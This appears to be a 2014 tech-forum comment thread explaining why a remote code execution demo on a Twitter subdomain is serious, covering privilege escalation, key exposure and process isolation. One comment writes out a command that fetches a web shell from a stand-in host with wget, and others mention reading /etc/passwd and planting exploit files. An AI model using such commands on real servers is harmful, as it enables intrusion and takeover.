News for hackers. Stuff that matters.
Re:Go home Twitter, you're drunk by gggggggg on Sunday October 19, 2014 @05:22PM (#8479664)
anyone care to let me know just why this is so bad? i.e. does it really matter?
Re:Go home Twitter, you're drunk by RyanZAG on Sunday October 19, 2014 @05:27PM (#8479684)
It's a standard remote code execution exploit. It's as bad as it gets in security vulnerabilities.

He is running shell commands through the Twitter server - the 'uptime' command is just a demo. He could also access privates files and possibly gain access to secure data that would let him access all data stored on Twitter servers, etc. He could also alter the twitter code to display anything he wanted to twitter users.

Re:Go home Twitter, you're drunk by xamolxix on Sunday October 19, 2014 @05:31PM (#8479700)
> He could also alter the twitter code to display anything he wanted to twitter users.

Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code.

It's still pretty bad and embarrassing.

Re:Go home Twitter, you're drunk by Argorak on Sunday October 19, 2014 @05:33PM (#8479712)
> Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code.

Subdomains can run on the same server. Also, the code is uninteresting, data usually is.

Also, higher permissions are just one OS exploit away. As with many exploits, it's a stepping stone, but a big one. The combination matters.

Re:Go home Twitter, you're drunk by Argorak on Sunday October 19, 2014 @05:31PM (#8479702)
This is a remote code execution, allowing attackers to run commands of their choice on the server with the user and privileges of the webserver.

Now, if one of the following is true (and thats quite common):

* The webserver has access to sensitive data

* The operating system has a bug that allows getting higher privileges as an unprivileged user without credentials

The machine is hacked and broken. (either the sensitive data can be extracted or the machine can be reconfigured)

This is why remote code execution is rated very high as a vulnerability.

A common way to prove this is by running a command that doesn't do any direct harm. uptime is quite usual, reading /etc/passwd is also quite usual.

Re:Go home Twitter, you're drunk by gatehouse on Sunday October 19, 2014 @05:56PM (#8479781)
I'm not sure about the mechanics of this, but at a minimum the webserver probably has access to the HTTPS private key for the subdomain, or at least has it in memory, since the request is shown to be running over HTTPS.
Re:Go home Twitter, you're drunk by Argorak on Sunday October 19, 2014 @06:01PM (#8479798)
Reading the memory of another process is not allowed on modern OS for precisely that reason, so this would be another exploit. (http://en.wikipedia.org/wiki/Process_isolation) But the keys are most likely on disk, readable by the server ;).

Also, some setups are not prone to this: Twitter most likely uses an proxy terminating SSL and then forwards the request to a smaller webserver running the app. This one will not hold the keys.

Most larger webservers can also run the app workers with a different user than the webserver itself.

Re:Go home Twitter, you're drunk by sheetjs on Sunday October 19, 2014 @06:02PM (#8479800)
> Twitter most likely uses an proxy terminating SSL

https://en.wikipedia.org/wiki/SSL_termination_proxy

Re:Go home Twitter, you're drunk by blibble on Sunday October 19, 2014 @09:02PM (#8480249)
> Reading the memory of another process is not allowed on modern OS for precisely that reason, so this would be another exploit.

both Linux and Windows allow processes to read the memory of other processes running as the same user, via ptrace() and /proc/pid/mem on Linux, and via ReadProcessMemory() on Windows.

(how else could you ever debug anything?)

Re:Go home Twitter, you're drunk by Argorak on Sunday October 19, 2014 @09:32PM (#8480335)
Yes, but PTRACE can be disallowed by the process and behaves differently on some kernels, e.g. Ubuntu hardened:

https://wiki.ubuntu.com/SecurityTeam/Roadmap/KernelHardening... https://fedoraproject.org/wiki/Features/SELinuxDenyPtrace

They usually only allow ptrace from parent to child or as root.

Also, wrt debugging, see the comment in the second link:

> If you are running a machine and do not plan on debugging the applications on this machine, you should turn this boolean on.

Re:Go home Twitter, you're drunk by pizzeys on Monday October 20, 2014 @11:55AM (#8482764)
ReadProcessMemory() requires the process to have debug privileges.

(how else could you ever secure anything?)

Re:Go home Twitter, you're drunk by Ded7xSEoPKYNsDd on Sunday October 19, 2014 @08:49PM (#8480216)
All web servers I've seen open the key files before dropping root privileges. These should never be readable by anything but root.
Re:Go home Twitter, you're drunk by ripb on Sunday October 19, 2014 @05:56PM (#8479783)
Could this be ShellShock?
Re:Go home Twitter, you're drunk by inaworld on Sunday October 19, 2014 @06:55PM (#8479926)
that is not ShellShock, but it can potentially exploit ShellShock, which points out how dangerous both this and ShellShock are.
Re:Go home Twitter, you're drunk by Rygu on Sunday October 19, 2014 @05:25PM (#8479673)
Seems that he was able to execute the "uptime" terminal command via that URL, and the output was served as page content. Now imagine what other dangerous terminal commands he could run.
Re:Go home Twitter, you're drunk by xamolxix on Sunday October 19, 2014 @05:26PM (#8479678)
He seems to be executing the "uptime" command. If that is not the only one he can (which most likely it isn't) it's bad.
Re:Go home Twitter, you're drunk by ricANNArdo on Sunday October 19, 2014 @05:27PM (#8479680)
Remote code execution e.g. he can also execute 'wget http://bad.php.script/shell.php' for planting shell or 'sudo <command>' for priviledge execution (up to root). So pretty much everything you can do on their Twitter servers.
Re:Go home Twitter, you're drunk by icebraining on Sunday October 19, 2014 @06:09PM (#8479819)
'sudo <command>' for priviledge execution

Well, I hope it's not too much to expect the webserver user not to have sudo permissions.

Re:Go home Twitter, you're drunk by VLM on Sunday October 19, 2014 @05:59PM (#8479792)
Another "fun" thing to do is if the hosted data is just sitting there, wget a browser exploit file on top of it.

This is probably not a serious concern for a place as huge as twitter because they're going to CDN static content separately from dynamic content, but would be really exciting for "I got me one server for my whole startup" types. Maybe you could bypass existing systems to serve up malicious code to end users anyway.

Re:Go home Twitter, you're drunk by nraynaud on Sunday October 19, 2014 @06:41PM (#8479893)
it took me some time to understand that he remotely executed a command and had chosen "uptime", and it's not an uptime web page.